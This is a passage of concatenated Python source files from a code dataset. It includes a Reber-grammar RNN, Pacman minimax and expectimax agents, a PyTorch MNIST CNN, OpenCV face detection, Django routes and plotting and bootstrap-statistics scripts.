= np.zeros(len(reber_strings) + len(flawed), dtype=int)\n y[:len(reber_strings)] = 1\n y.shape = (-1,1)\n\n if check:\n codings2 = {val:key for key,val in codings.items()}\n reber_rgx_comp = re.compile(reber_emb_rgx)\n for i in range(X.shape[0]):\n A = X[i]\n A = A[A.max(axis=1) != 0]\n s = ''.join([codings2[a] for a in A.argmax(axis=1)])\n assert (y[i] == 1) == (reber_rgx_comp.match(s) is not None)\n\n return X, y, codings\n\ndef length(sequence):\n used = tf.reduce_max(sequence, axis=2)\n length = tf.cast(tf.reduce_sum(used, axis=1), tf.int32)\n return length\n\ndef nn_layers(n_steps, n_inputs):\n X = tf.placeholder(tf.float32, shape=(None, n_steps, n_inputs))\n y = tf.placeholder(tf.float32, shape=(None, 1))\n\n gru_cell = tf.contrib.rnn.GRUCell(40)\n outputs, states = tf.nn.dynamic_rnn(gru_cell, X, dtype=tf.float32,\n sequence_length=length(X))\n\n logits = tf.layers.dense(states, 1)\n xentropy = tf.nn.sigmoid_cross_entropy_with_logits(labels=y, logits=logits)\n loss = tf.reduce_mean(xentropy)\n opt = tf.train.AdamOptimizer(learning_rate=0.01).minimize(loss)\n # opt = tf.train.MomentumOptimizer(learning_rate=0.001, momentum=0.9,\n # use_nesterov=True).minimize(loss)\n\n y_prob = tf.nn.sigmoid(logits)\n correct = tf.equal(tf.round(y_prob), y)\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n\n return X, y, loss, opt, accuracy\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-e', '--epochs', type=int, default=10)\n parser.add_argument('-b', '--batch-size', type=int, default=256)\n parser.add_argument('-g', '--generate', type=int)\n parser.add_argument('-f', '--flawed', type=int, default=1)\n parser.add_argument('-l', '--limit', type=int, default=10)\n\n args = parser.parse_args()\n\n if args.generate:\n np.set_printoptions(threshold=np.nan)\n X, y, codings = get_data(args.generate, args.flawed, args.limit)\n print('X shape', X.shape)\n print('pct labels', y.mean())\n np.save('strings.npy', X)\n np.save('labels.npy', y)\n return\n\n X = np.load('strings.npy')\n y = np.load('labels.npy')\n print('X shape', X.shape)\n print('pct labels', y.mean())\n \n n_steps = X.shape[1] # max length\n n_inputs = X.shape[2] # alphabet size\n\n Xph, yph, loss, opt, acc = nn_layers(n_steps, n_inputs)\n init = tf.global_variables_initializer()\n\n X_train, X_valid, y_train, y_valid = train_test_split(X, y, test_size=0.2)\n n_batches = np.ceil(X_train.shape[0]/args.batch_size)\n\n with tf.Session() as sess:\n init.run()\n for e in range(1, args.epochs + 1):\n avg_loss = 0\n for chunk in chunker(X_train.shape[0], args.batch_size):\n X_batch, y_batch = X_train[chunk], y_train[chunk]\n feed_dict = {Xph: X_batch, yph: y_batch}\n c, _ = sess.run([loss, opt], feed_dict=feed_dict)\n avg_loss += c / n_batches\n\n score_valid = sess.run(acc, feed_dict={Xph: X_valid, yph: y_valid})\n\n score_train = sess.run(acc, feed_dict={Xph: X_train, yph: y_train})\n\n print(('epoch {:>3d} loss: {:.4f} accuracy train: {:.4f} '\n 'valid: {:.4f}').format(e, avg_loss, score_train, score_valid))\n\nif __name__ == '__main__':\n main()","sub_path":"grammar-rnn/rnn_reber.py","file_name":"rnn_reber.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"72151760","text":"import numpy as np\n\n\ndef rayleigh_quotient_iteration(matrix, mu):\n \n # we do with column vector\n approx = np.matrix([np.random.rand() for i in range(5)])\n eigenvector = approx.T / np.linalg.norm(approx)\n\n matrix_new = np.linalg.inv(matrix - mu * np.eye(matrix.shape[0]))\n\n iters = 0\n converge = False\n\n while not converge:\n iters += 1\n eigenvector_new = matrix_new @ eigenvector\n \n # Normalization\n eigenvector_new /= np.linalg.norm(eigenvector_new)\n converge = np.linalg.norm(eigenvector_new - eigenvector) <= 10**(-11)\n eigenvector = eigenvector_new\n\n # compute the Rayleigh quotient\n mu = np.dot(eigenvector.T, matrix * eigenvector) / np.dot(eigenvector.T, eigenvector)\n \n return eigenvector.reshape(-1,), mu.item(), iters\n\n\nif __name__ == \"__main__\":\n A = [[7, 2.5, 2, 1.5, 1],\n [2.5, 8, 2.5, 2, 1.5],\n [2, 2.5, 9, 2.5, 2],\n [1.5, 2, 2.5, 10, 2.5],\n [1, 1.5, 2, 2.5, 11]]\n matrix = np.matrix(A)\n\n mu = 7\n \n eigenvector, eigenvalue, iters = rayleigh_quotient_iteration(matrix, mu)\n\n print(\"Computed eigenvalue:\", eigenvalue, \" using \", iters, \"iterations\")\n print(\"Computed eigenvector:\", eigenvector)\n","sub_path":"matrix_decomposition/eigenvalue_decomposition/find_one_eigenpair/rayleigh_quotient_iteration.py","file_name":"rayleigh_quotient_iteration.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519793712","text":"\nclass Solution(object):\n def palindrome(self, num):\n if num < 10:\n return True\n str_num = str(num) # space: O(n)\n len_num = len(str_num)\n res = 0\n l = 0\n r = len_num-1\n while r > l: # time: O(n)\n if str_num[l] != str_num[r]:\n return False\n l += 1\n r -= 1\n return True\n\n def print_is_palindrome(self, num):\n ret = self.palindrome(num)\n print(f\"Is {num} palindrome {ret}\")\n\n\nnums = [555, 1234, 1221, 12521]\nsol = Solution()\n\nfor num in nums:\n sol.print_is_palindrome(num)\n\n","sub_path":"algo/misc/palindrome/palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"506352335","text":"from sys import path as sys_path\nfrom os import path as os_path\nfrom inspect import getfile, currentframe\n\nbase_path = os_path.dirname(os_path.abspath(getfile(currentframe())))\napp_path = os_path.join(base_path,'application')\n\npaths = [\n base_path,\n app_path\n]\n\nfor path in (set(paths) - set(sys_path)):\n sys_path.append(path)\n\nfrom steak import Steak\n\ndef application(env, start_response):\n\n req = {\n 'environ': env,\n 'start_response': start_response\n }\n\n init_steak = Steak()\n response_body = init_steak._run_steak(req,base_path,app_path)\n\n return [response_body]\n\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n\n httpd = make_server(\n 'localhost',\n 8000,\n application\n )\n\n httpd.serve_forever()\n","sub_path":"steakApp.wsgi","file_name":"steakApp.wsgi","file_ext":"wsgi","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335307323","text":"from django.conf.urls import url\nfrom django.views.generic import ListView, TemplateView\nfrom identity import views\nfrom identity.models import Contact\n\nurlpatterns = [\n url(r'^list_users$', views.list_users),\n url(r'^search$', views.search),\n url(r'^create_user$', views.create_user),\n url(r'^delete_user$', views.delete_user),\n url(r'^update_user', views.update_user),\n url(r'^delete_all_user$', views.delete_all_user),\n\n url(r'^list_contacts', ListView.as_view(template_name='identity/contact.html', model=Contact)),\n url(r'^connection', views.form_view),\n url(r'^login', views.login, name='login'),\n\n url(r'^profile', TemplateView.as_view(template_name='identity/profile.html')),\n url(r'^saved', views.save_profile, name='saveProfile'),\n url(r'^logout', views.logout),\n\n url(r'^dreamreal', views.dreamreal),\n\n]\n","sub_path":"djangodemo/identity/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"140473330","text":"# multiAgents.py\n# --------------\n# Licensing Information: You are free to use or extend these projects for \n# educational purposes provided that (1) you do not distribute or publish \n# solutions, (2) you retain this notice, and (3) you provide clear \n# attribution to UC Berkeley, including a link to \n# http://inst.eecs.berkeley.edu/~cs188/pacman/pacman.html\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero \n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and \n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nfrom util import manhattanDistance\nfrom game import Directions\nimport random, util\n\nfrom game import Agent\n\n\nclass ReflexAgent(Agent):\n \"\"\"\n A reflex agent chooses an action at each choice point by examining\n its alternatives via a state evaluation function.\n\n The code below is provided as a guide. You are welcome to change\n it in any way you see fit, so long as you don't touch our method\n headers.\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n You do not need to change this method, but you're welcome to.\n\n getAction chooses among the best options according to the evaluation function.\n\n Just like in the previous project, getAction takes a GameState and returns\n some Directions.X for some X in the set {North, South, West, East, Stop}\n \"\"\"\n # Collect legal moves and successor states\n legalMoves = gameState.getLegalActions()\n\n # Choose one of the best actions\n scores = [self.evaluationFunction(gameState, action) for action in legalMoves]\n bestScore = max(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n chosenIndex = random.choice(bestIndices) # Pick randomly among the best\n\n \"Add more of your code here if you want to\"\n\n return legalMoves[chosenIndex]\n\n def evaluationFunction(self, currentGameState, action):\n \"\"\"\n Design a better evaluation function here.\n\n The evaluation function takes in the current and proposed successor\n GameStates (pacman.py) and returns a number, where higher numbers are better.\n\n The code below extracts some useful information from the state, like the\n remaining food (newFood) and Pacman position after moving (newPos).\n newScaredTimes holds the number of moves that each ghost will remain\n scared because of Pacman having eaten a power pellet.\n\n Print out these variables to see what you're getting, then combine them\n to create a masterful evaluation function.\n \"\"\"\n # Useful information you can extract from a GameState (pacman.py)\n successorGameState = currentGameState.generatePacmanSuccessor(action)\n\n newPos = successorGameState.getPacmanPosition()\n newFood = successorGameState.getFood()\n newGhostStates = successorGameState.getGhostStates()\n newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates]\n \"*** YOUR CODE HERE ***\"\n Food_List = newFood.asList()\n minFoodDistance = float(\"inf\")\n minghostDistance = float(\"inf\")\n\n for food in Food_List:\n dist = util.manhattanDistance(newPos, food)\n if dist < minFoodDistance:\n minFoodDistance = dist\n\n for ghosts in newGhostStates:\n ghostPosition = ghosts.getPosition()\n dist = util.manhattanDistance(newPos, ghostPosition)\n if dist < minghostDistance:\n minghostDistance = dist\n\n if (ghosts.getPosition() == newPos or ghostPosition[0] == newPos[0] or ghostPosition[1] == newPos[1]):\n minghostDistance = -float(\"inf\")\n\n score = minghostDistance / minFoodDistance + successorGameState.getScore()\n return score\n\n\ndef scoreEvaluationFunction(currentGameState):\n \"\"\"\n This default evaluation function just returns the score of the state.\n The score is the same one displayed in the Pacman GUI.\n\n This evaluation function is meant for use with adversarial search agents\n (not reflex agents).\n \"\"\"\n return currentGameState.getScore()\n\n\nclass MultiAgentSearchAgent(Agent):\n \"\"\"\n This class provides some common elements to all of your\n multi-agent searchers. Any methods defined here will be available\n to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent.\n\n You *do not* need to make any changes here, but you can if you want to\n add functionality to all your adversarial search agents. Please do not\n remove anything, however.\n\n Note: this is an abstract class: one that should not be instantiated. It's\n only partially specified, and designed to be extended. Agent (game.py)\n is another abstract class.\n \"\"\"\n\n def __init__(self, evalFn='scoreEvaluationFunction', depth='2'):\n self.index = 0 # Pacman is always agent index 0\n self.evaluationFunction = util.lookup(evalFn, globals())\n self.depth = int(depth)\n\n\nclass MinimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent (question 2)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action from the current gameState using self.depth\n and self.evaluationFunction.\n\n Here are some method calls that might be useful when implementing minimax.\n\n gameState.getLegalActions(agentIndex):\n Returns a list of legal actions for an agent\n agentIndex=0 means Pacman, ghosts are >= 1\n\n gameState.generateSuccessor(agentIndex, action):\n Returns the successor game state after an agent takes an action\n\n gameState.getNumAgents():\n Returns the total number of agents in the game\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n v = maxValue1(self, gameState, 0, self.depth)\n\n return v[1]\n\n\ndef maxValue1(self, gameState, index, curr_depth):\n if curr_depth == 0 or gameState.isWin() or gameState.isLose():\n return \" \",self.evaluationFunction(gameState)\n\n val = [\" \", -float(\"inf\")]\n\n actions = gameState.getLegalActions(index)\n scores = [minValue1(self, gameState.generateSuccessor(index, action), index+1, curr_depth) for action in actions]\n bestScore = max(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n\n\n\n return bestScore, actions[bestIndices[0]]\n\n\ndef minValue1(self, gameState, index, curr_depth):\n if curr_depth == 0 or gameState.isWin() or gameState.isLose():\n return \" \", self.evaluationFunction(gameState)\n\n val = \" \", float(\"inf\")\n\n actions = gameState.getLegalActions(index)\n if index != gameState.getNumAgents()-1:\n scores = [minValue1(self, gameState.generateSuccessor(index, action), index + 1, curr_depth) for action in\n actions]\n else:\n scores = [maxValue1(self, gameState.generateSuccessor(index, action), 0, curr_depth - 1) for action in actions]\n bestScore = min(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n\n\n return bestScore,actions[bestIndices[0]]\n\n\nclass AlphaBetaAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent with alpha-beta pruning (question 3)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action using self.depth and self.evaluationFunction\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n index=0\n v = maxValue(self, gameState, -float(\"inf\"), float(\"inf\"), self.depth,index)\n return v[0]\n\n util.raiseNotDefined()\n\ndef maxValue(self, State, a, b, cur_depth,index):\n if cur_depth==0 or State.isWin() or State.isLose():\n return \" \", self.evaluationFunction(State)\n\n val = [\" \", -float(\"inf\")]\n move = None\n for action in State.getLegalActions(0):\n\n v = minValue(self, State.generateSuccessor(0, action), a, b, cur_depth,index+1)\n\n if v[1] > val[1]:\n val[1] = v[1]\n move = action\n if val[1] > b:\n return move, val[1]\n a = max(a, val[1])\n return move, val[1]\n\ndef minValue(self, state, a, b, cur_depth,index):\n if cur_depth==0 or state.isWin() or state.isLose():\n return \" \", self.evaluationFunction(state)\n\n val = [\" \", float(\"inf\")]\n move = None\n for action in state.getLegalActions(index):\n if index == state.getNumAgents()-1:\n v = maxValue(self, state.generateSuccessor(index, action), a, b,\n cur_depth -1,0)\n\n else:\n v = minValue(self, state.generateSuccessor(index, action), a, b,\n cur_depth,index+1)\n if v[1] < val[1]:\n move = action\n val[1] = v[1]\n\n if val[1] < a:\n return move, val[1]\n b = min(b, val[1])\n\n return move, val[1]\n\n\nclass ExpectimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your expectimax agent (question 4)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the expectimax action using self.depth and self.evaluationFunction\n\n All ghosts should be modeled as choosing uniformly at random from their\n legal moves.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n index = 0\n v = maxVal(self, gameState, self.depth, index)\n return v[0]\n\n util.raiseNotDefined()\n\ndef maxVal(self, State, cur_depth, index):\n if cur_depth == 0 or State.isWin() or State.isLose():\n return \" \", self.evaluationFunction(State)\n\n val = [\" \", -float(\"inf\")]\n move = None\n for action in State.getLegalActions(0):\n\n v = minVal(self, State.generateSuccessor(0, action), cur_depth, index + 1)\n\n if v[1] > val[1]:\n val[1] = v[1]\n move = action\n\n return move, val[1]\n\ndef minVal(self, state, cur_depth, index):\n if cur_depth == 0 or state.isWin() or state.isLose():\n return \" \", self.evaluationFunction(state)\n\n val = [\" \", float(\"inf\")]\n vp=0\n move = None\n actions=state.getLegalActions(index)\n p = 1.0 / float(len(actions))\n for action in actions:\n if index == state.getNumAgents() - 1:\n v = maxVal(self, state.generateSuccessor(index, action), cur_depth - 1, 0)\n vp += p*v[1]\n else:\n v = minVal(self, state.generateSuccessor(index, action), cur_depth, index + 1)\n vp += p * v[1]\n\n if v[1] < val[1]:\n move = action\n val[1] = v[1]\n\n\n return move, vp\n\n\ndef betterEvaluationFunction(currentGameState):\n \"\"\"\n Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable\n evaluation function (question 5).\n\n DESCRIPTION: \n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n\n newPos = currentGameState.getPacmanPosition()\n newFood = currentGameState.getFood()\n newGhostStates = currentGameState.getGhostStates()\n newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates]\n capsules=currentGameState.getCapsules()\n \"*** YOUR CODE HERE ***\"\n if currentGameState.isLose():\n return -10000\n if currentGameState.isWin():\n return 10000\n Food_List = newFood.asList()\n mincapDistance=10000\n minFoodDistance = 10000\n minghostDistance = 10000\n\n for food in Food_List:\n dist = util.manhattanDistance(newPos, food)\n if dist < minFoodDistance:\n minFoodDistance = dist\n\n for ghosts in newGhostStates:\n ghostPosition = ghosts.getPosition()\n dist = util.manhattanDistance(newPos, ghostPosition)\n if dist < minghostDistance:\n minghostDistance = dist\n\n for capsule in capsules:\n\n dist =util.manhattanDistance(newPos,capsule)\n if(dist 激活 -> 池化\n ''' 50x1x28x28 '''\n x = F.max_pool2d(F.relu(self.conv1(x)), 2) # choose max value in 2x2 area, output shape (16, 14, 14)\n ''' 50x16x14x14 '''\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)\n ''' 50x32x7x7 '''\n # reshape, '-1'表示自适应\n x = x.view(x.size(0), -1)\n ''' 50x1568 (32*7*7=1568)'''\n x = F.relu(self.fc1(x))\n ''' 50x120 '''\n x = F.relu(self.fc2(x))\n ''' 50x84 '''\n output = self.fc3(x)\n ''' 50x10 '''\n return output\n\nnet = CNN()\nprint(net)\n'''\nCNN(\n (conv1): Conv2d(1, 6, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))\n (conv2): Conv2d(6, 16, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))\n (fc1): Linear(in_features=400, out_features=120, bias=True)\n (fc2): Linear(in_features=120, out_features=84, bias=True)\n (fc3): Linear(in_features=84, out_features=10, bias=True)\n)\n'''\n\n# 网络的可学习参数通过net.parameters()返回,net.named_parameters可同时返回可学习的参数及名称。\nparams = list(net.parameters())\nprint(len(params))\n''' 10 '''\nfor name, parameters in net.named_parameters():\n print(name, ':', parameters.size())\n'''\nconv1.weight : torch.Size([16, 1, 5, 5])\nconv1.bias : torch.Size([16])\nconv2.weight : torch.Size([32, 16, 5, 5])\nconv2.bias : torch.Size([32])\nfc1.weight : torch.Size([120, 1568])\nfc1.bias : torch.Size([120])\nfc2.weight : torch.Size([84, 120])\nfc2.bias : torch.Size([84])\nfc3.weight : torch.Size([10, 84])\nfc3.bias : torch.Size([10])\n'''\n\noptimizer = torch.optim.Adam(net.parameters(), lr=LR)\nloss_func = nn.CrossEntropyLoss()\n\n\nfrom matplotlib import cm\n\ntry: from sklearn.manifold import TSNE; HAS_SK = True\nexcept: HAS_SK = False; print('Please install sklearn for layer visualization')\ndef plot_with_labels(lowDWeights, labels):\n plt.cla()\n X, Y = lowDWeights[:, 0], lowDWeights[:, 1]\n for x, y, s in zip(X, Y, labels):\n c = cm.rainbow(int(255 * s / 9)); plt.text(x, y, s, backgroundcolor=c, fontsize=9)\n plt.xlim(X.min(), X.max()); plt.ylim(Y.min(), Y.max()); plt.title('Visualize last layer'); plt.show(); plt.pause(0.01)\n\nplt.ion()\n\nfor epoch in range(EPOCH):\n for step, (batch_x, batch_y) in enumerate(train_loader):\n\n batch_x = Variable(batch_x)\n batch_y = Variable(batch_y)\n\n optimizer.zero_grad() # 梯度清零\n\n prediction = net(batch_x)\n loss = loss_func(prediction, batch_y) # 计算损失\n loss.backward() # 反向传播\n optimizer.step() # 更新参数\n\n if step % 50 == 0:\n test_prediction = net(test_x)\n pred_y = torch.max(test_prediction, 1)[1].data.squeeze()\n test_accuracy = sum(pred_y == test_y)/float(test_y.size(0))\n print('Epoch: %d, Step: %d, Training Loss: %.4f, Test Accuracy: %.3f' % (epoch, step, loss.data[0], test_accuracy))\n if HAS_SK:\n # Visualization of trained flatten layer (T-SNE)\n tsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=5000)\n plot_only = 500\n low_dim_embs = tsne.fit_transform(test_prediction.data.numpy()[:plot_only, :])\n labels = test_y.numpy()[:plot_only]\n plot_with_labels(low_dim_embs, labels)\n\nplt.ioff()\n\n","sub_path":"03_Convolutional_Neural_Network/01_CNN.py","file_name":"01_CNN.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237963943","text":"import cv2\nimport numpy as np\ncascade = cv2.CascadeClassifier('resources/haarcascade_frontalface_default.xml')\nimg = cv2.imread('resources/birthday.jpg')\nimg = cv2.resize(img, (800, 500))\ngray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nfaces = cascade.detectMultiScale(image=gray_img, scaleFactor=1.1, minNeighbors=6)\n\nfor (x, y, width, height) in faces:\n cv2.rectangle(img=img, pt1=(x, y), pt2=(x+width, y+height), color=(0, 0, 255), thickness=3)\n\ncv2.imshow('Photo', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"Face Detection.py","file_name":"Face Detection.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"287254404","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport top\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nrequired = []\n\nif sys.version_info[:2] < (2, 6):\n required.append('simplejson')\n\nrequired.append('python-dateutil')\nrequired.append('requests')\n\nsetup(\n name='top',\n version=top.__version__,\n description='Taobao Open Platform API Python Wrapper.',\n long_description=open('README.rst').read(),\n keywords=\"taobao api wrapper TOP sdk\",\n platforms=\"Python 1.5.0 and later.\",\n packages=[\n 'top',\n ],\n install_requires=required,\n license='ISC',\n classifiers=('Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Natural Language :: English',\n 'Natural Language :: Chinese (Simplified)',\n 'License :: OSI Approved :: ISC License (ISCL)',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.5',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Software Development', ), )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"338140543","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport bootcamp_utils as bc_ut\nimport seaborn as sns\n\nsns.set()\n\ndef draw_bs_reps(data, func, size=1):\n \"\"\"\n draw_bs_reps(data, func, size)\n\n This function takes an array and returns a statistic.\n Examples that could be passed in as 'func' are:\n - np.mean\n - np.std\n - np.median\n - User defined function\n 'Size' is the number of replicates to generate\n \"\"\"\n n_reps= size\n bs_replicates= np.empty(n_reps)\n for i in range(n_reps):\n bs_sample= np.random.choice(data, replace=True, size=len(data))\n bs_replicates[i]=func(bs_sample)\n return bs_replicates\n\n\ndef confinterval95(data, func, size=1):\n \"\"\"\n confidenceinterval95(data, func, size)\n\n This function takes an array and returns a 95 percent confidence interval.\n Examples that could be passed in as 'func' are:\n - np.mean\n - np.std\n - np.median\n - User defined function\n 'Size' is the number of replicates to generate\n \"\"\"\n n_reps= size\n bs_replicates= np.empty(n_reps)\n for i in range(n_reps):\n bs_sample= np.random.choice(data, replace=True, size=len(data))\n bs_replicates[i]=func(bs_sample)\n conf_int= np.percentile(bs_replicates, [2.5, 97.5])\n return conf_int\n\n##########Practice 2: Plot EXDFs of bootstrap samples#####\n\nbd_1975= np.loadtxt('../data/beak_depth_scandens_1975.csv')\nx_1975, y_1975=bc_ut.ecdf(bd_1975)\nplt.close()\n\nplt.plot(x_1975, y_1975, marker='.', linestyle='none')\nplt.xlabel('beak depth (mm)')\nplt.ylabel('ECDF')\nplt.legend(('1975'), loc= 'lower right')\nplt.show()\n","sub_path":"Day_4/lesson_28_practice.py","file_name":"lesson_28_practice.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"182997784","text":"#!/usr/bin/env python\n# a bar plot with errorbars\nfrom __future__ import print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom textwrap import wrap\nfrom tableau20 import *\n\n#plt.rcdefaults()\nfig = plt.figure(figsize=(8, 6))\n# fig.subplots_adjust(left=0.2, bottom=0.2)\nax = fig.add_subplot(111)\n\noutput_file = 'plot/cache_space.pdf'\n\nobjects = ('DNN', 'CP', 'Normalize', 'Bucketize')\noffset = 0.3\nwidth = 0.25 # the width of the bars\ny_pos = np.arange(len(objects)) + offset\nvals = (159, 25580.61, 12207, 2182)\n\nbarlist = ax.bar(y_pos, vals, width, align='center',\ncolor=tableau_colors['light_blue'])\n#barlist[1].set_color(tableau_colors['yellow'])\n#barlist[1].set_edgecolor(\"black\")\n#barlist[2].set_color(tableau_colors['light_blue'])\n#barlist[2].set_edgecolor(\"black\")\n#barlist[3].set_color(tableau_colors['red'])\n#barlist[3].set_edgecolor(\"black\")\nplt.xticks(y_pos, objects)\nplt.xticks(size=20)\nplt.yticks(size=20)\nplt.ylabel('Cache Size (MBs)', fontsize=20)\naxes = plt.gca()\nfor axis in ['top','bottom','left','right']:\n axes.spines[axis].set_linewidth(2)\n\n\"\"\"\nN = 2\n#colors = ['b', 'y', 'k', 'r', 'g'][:N]\n\nind = np.arange(N) # the x locations for the groups\nwidth = 0.15 # the width of the bars\noffset = 0.35\ntick_offset = -0.1\n\nfig, ax = plt.subplots()\n#fig.set_size_inches(18.5, 10.5)\nrects = []\nrects.append(ax.bar(ind + offset, spark_means, width, \\\n color=tableau_colors['green']))\nrects.append(ax.bar(ind + offset + width, hotbox_means, width, \\\n color=tableau_colors['yellow']))\n#for i, (m, c) in enumerate(zip(means, colors)):\n# rects.append(ax.bar(ind + width * i, m, width, color=c))\n\n# add some text for labels, title and axes ticks\nax.set_ylabel('Run time (seconds)', fontsize=20)\n#ax.set_title('File Sizes Comparison', fontsize=20)\nax.set_xticks(ind + (N * width) / 2 + offset + tick_offset)\nax.set_xticklabels(('Load', 'CP', 'Normalization'))\nax.set_ylim([0, 220])\nplt.xticks(size=20)\nplt.yticks(size=20)\naxes = plt.gca()\nfor axis in ['top','bottom','left','right']:\n axes.spines[axis].set_linewidth(2)\n\nlegend = ax.legend((rects[0][0],rects[1][0]), ('Spark', 'SystemX'), \\\n loc='upper right', ncol=1)\nlegend.get_frame().set_linewidth(2)\n\"\"\"\n\n#plt.show()\nplt.savefig(output_file, bbox_inches='tight', format=\"pdf\")\nprint('Saved to', output_file)\n","sub_path":"script/plot_cache_space.py","file_name":"plot_cache_space.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"578296839","text":"'''\nAuthor : now more\nConnect : lin.honghui@qq.com\nLastEditors : now more\nDescription : \nLastEditTime: 2019-07-03 22:24:13\n'''\nfrom argparse import ArgumentParser\nfrom os import mkdir,path\nimport numpy as np\nfrom PIL import Image\nimport sys\nsys.path.append('..')\n# import os\n# print(os.getcwd())\nfrom config import cfg\nfrom data.dataloader import make_inference_dataloader\nfrom model import build_model\nimport torch\nimport cv2 as cv\n\n\ndef load_arg():\n parser = ArgumentParser(description=\"Pytorch Hand Detection Training\")\n parser.add_argument(\"-config_file\",\"--CONFIG_FILE\",type=str,help=\"Path to config file\")\n \n # MODEL\n parser.add_argument('-model',\"--MODEL.NET_NAME\",type=str,\n help=\"Net to build\")\n parser.add_argument('-path',\"--MODEL.LOAD_PATH\",type=str,\n help=\"path/file of a pretrain model(state_dict)\")\n parser.add_argument(\"-device\",\"--MODEL.DEVICE\",type=str,\n help=\"cuda:x (default:cuda:0)\")\n \n # TOOLS\n parser.add_argument(\"-image_n\",\"--TOOLS.image_n\",type=int,default=3)\n parser.add_argument(\"-save_path\",\"--TOOLS.save_path\",type=str)\n\n arg = parser.parse_args()\n return arg\n\ndef merge_from_dict(cfg,arg_dict):\n for key in arg_dict:\n if arg_dict[key] != None:\n cfg.merge_from_list([key,arg_dict[key]])\n return cfg\n\ndef create_png(cfg):\n TOOLS = cfg.TOOLS\n image_n = TOOLS.image_n\n if image_n == 1:\n zeros = TOOLS.zeros_1\n elif image_n == 2:\n zeros = TOOLS.zeros_2\n elif image_n == 3:\n zeros = TOOLS.zeros_3\n elif image_n == 4:\n zeros = TOOLS.zeros_4\n zeros = np.zeros(zeros,np.uint8)\n return zeros\n\ndef forward(dataloader,model,png):\n for (image,pos_list) in dataloader:\n topleft_x,topleft_y,buttomright_x,buttomright_y = pos_list\n if image.cpu().data.numpy().sum() == 0:\n predict = np.zeros((1024,1024))\n else:\n \n image = image.cuda()\n predict = model(image)\n predict = torch.argmax(predict.cpu()[0],0).byte().numpy()\n if(buttomright_x-topleft_x)==1024 and (buttomright_y-topleft_y)==1024:\n png[topleft_y:buttomright_y,topleft_x:buttomright_x] = predict\n else:\n png[topleft_y:buttomright_y,topleft_x:buttomright_x] = predict[0:(buttomright_y-topleft_y),0:(buttomright_x-topleft_x)]\n return png\n\ndef label_resize_save(img,output_path):\n B = img.copy() # 蓝色通道\n B[B == 1] = 255\n B[B == 2] = 0\n B[B == 3] = 0\n B[B == 0] = 0\n\n G = img.copy() # 绿色通道\n G[G == 1] = 0\n G[G == 2] = 255\n G[G == 3] = 0\n G[G == 0] = 0\n\n R = img.copy() # 红色通道\n R[R == 1] = 0\n R[R == 2] = 0\n R[R == 3] = 255\n R[R == 0] = 0\n anno_vis = np.dstack((B,G,R))\n anno_vis = cv.resize(anno_vis, None, fx= 